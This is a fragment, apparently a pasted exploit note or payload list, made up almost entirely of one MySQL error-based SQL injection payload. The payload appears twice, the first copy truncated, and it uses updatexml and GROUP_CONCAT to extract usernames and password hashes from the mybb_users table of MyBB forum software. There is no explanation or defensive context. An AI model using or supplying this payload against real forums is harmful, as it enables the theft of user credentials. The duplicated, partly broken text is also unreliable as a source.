a' AND updatexml(NULL,CONCAT(0x3a,(SELECT GROUP_CONCAT(username,0x3a,password) FROM m

[9]

a' AND updatexml(NULL,CONCAT(0x3a,(SELECT GROUP_CONCAT(username,0x3a,password) FROM mybb_users),0x3a),NULL) AND '1